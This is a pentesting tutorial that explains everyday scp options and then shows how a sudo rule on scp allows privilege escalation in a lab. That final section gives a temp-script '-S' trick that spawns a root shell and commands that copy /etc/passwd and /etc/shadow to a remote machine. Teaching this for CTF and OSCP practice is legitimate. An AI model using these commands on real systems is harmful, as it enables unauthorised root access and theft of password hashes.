In this article we are going to introduce another most helpful Linux command i.e. “scp” which is an abbreviated form of “secure copy”. The SCP command allows secure transferring of files between the local host and the remote host or between two remote hosts. So after knowing this fact we will check now how we can take advantage of this utility in privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of content
Introduction to scp
Major Operation performed using scp
· Copy a file from local system to remote machine
· Copy a file from remote system to local machine
· Provide modification time and date
· To display detailed information of the SCP process
· Copying file inside directory recursively
· To specify a specific port
Exploiting scp
· Abusing Sudo right
Introduction to scp
Scp is a built in command in linux which is used to SCP is used to copy file(s) between servers in secure way or in other word we can also say that it is a command line utility that allows you to securely copy files and directories between two locations. This possess the same authentication and safety as it is used in the Secure Shell (SSH) protocol. SCP also known for its effortlessness, security and pre-installed accessibility.
Major Operation performed using scp
In this tutorial, we will show you how to use the scp command with detailed explanations of the most common scp options. For this we will start from its help command as per below image.
scp --help
After checking for its help command now we will proceed to its major operation one by one.
· Copy a file from local system to remote machine: As we know the scp command tends the user to securely copy the file or directory from local to host connection or vice-versa so, by taking the help of this fact now we will copy a file whose name as “scan.xml” which is stored in my local system. For doing this we will frame command as below:
Syntax: scp [file name] remote_username@:/path to copy
scp scan.xml aarti@192.168.1.31:/home/aarti/Desktop
In above command “scan.xml” is the file name that I want to copy, “aarti” is remote user name, “192.168.1.31” is remote machine IP and ” /home/aarti/Desktop” is the path of remote machine where I want to copy this file.
Once we have done with our command then it will be prompted to enter the user password and the transfer process will start.
Note: Omitting the filename from the destination location copies the file with the original name. If you want to save the file under a different name you need to specify a new name too.
Hence on following above syntax our desired file has been successfully copied to destined location on remote system as shown below.
· Copy a file from remote system to local machine: Alike above we can also copy a file or directory from its remote machine to local system. For grabbing this functionality follow the below command.
scp aarti@192.168.1.31:/home/aarti/Desktop/demo.txt/root/Desktop
On framing above command, we will again be prompted to enter the user password and the transfer process will start.
ls -al
Hence our desired file has been successfully copied to destined location on local system from remote system
· Provide modification time and date: Many times, you might be noticed that by default the time and date of copied file is use to be set for current time and date.
As in below image you can notice that our “demo.txt” file showing its “current date and time” when it has been copied.
ls -la /root/Desktop/demo.txt
But in below image I have shown the original date and time i.e. when the file had created.
ls -la demo.txt
So if we want to make modification of our copied file as its original details then we will use “-p” option for this. After adding this argument our file will be copied with its original date and time instead of copying with current details.
scp -p aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
ls -la /root/Desktop/demo.txt
· To display detailed information of the SCP process: As in all above screenshot you can see that after you enter the password for copy the file there is no information about the SCP process but the only thing is it will prompt again once the process has been completed. So, if you want the detailed information of the SCP process, then you can use “-v” parameter for this.
scp -p -v aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
· Copying file inside directory recursively: Sometimes we need to copy directory and all files / directories inside it. It will be better if we can do it in 1 command. SCP support that scenario using “-r” parameter.
scp -r fluxion/ aarti@192.168.1.31: /home/aarti/Desktop
In below image I have copied a file “fluxion” recursively.
Note:The speed for the process of copying any file is totally based upon its data length but we can increase this speed by using “-C” option which results faster for copy the file.
Here in below image we have successfully copied fluxion.
· To specify a specific port: Usually, SCP use port 22 as a default port. But for security reason, if you wish to change the port into another port then you can use “-P” argument for this task.
For example, we are going to use port 2222. Then the command needs to be
scp -P 2222 scan.xml aarti@193.168.1.31: /home/aarti/Desktop
Lab setups for Sudo privilege Escalation
Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Now we will start to perform privilege escalation for “scp”. For doing so we need to set up our lab of scp command with administrative rights.
After that we will give Sudo permission on scp, so that a local user can take privilege of scp as root user.
Hence type following for enabling SUID:
which scp
It can be clearly understood by the below image in which I have created a local user (test) and will add sudo right for scp program in the /sudoers file and type following as user Privilege specification.
test All=(root) NOPASSWD: /usr/bin/scp
First Method
Then we will look for sudo right of “test” user (if given) and found that user “test” can execute the scp command as “root” without a password.
sudo -l
On framing below command, it will direct us on root shell as shown below and we will successfully accomplished our task.
TF=$(mktemp)
echo 'sh 0<&2 1>&2'> $TF
chmod +x "$TF"
sudo scp -S $TF x y:
Second Method
For proceeding further in our task of privilege escalation by the help of second method very first we need to check status for ssh service which should be active during our entire process (Kali Linux).
service ssh status
Now I wish to copy passwd and shadow file of the host machine (Ubuntu) as per below image by the help of scp command.
sudo scp /etc/passwd komal@192.168.1.11:~/
sudo scp /etc/shadow komal@192.168.1.11:~/
On framing above command it will prompt to enter the user password so that transfer process will start.
Once you done with this then you can check whether your file has successfully copied or not by framing below command.
head /home/komal/shadow
head /home/komal/passwd
Conclusion: Hence we have achieved our mission and successfully copied passwd and shadow file by the use of scp command.
Reference : https://gtfobins.github.io/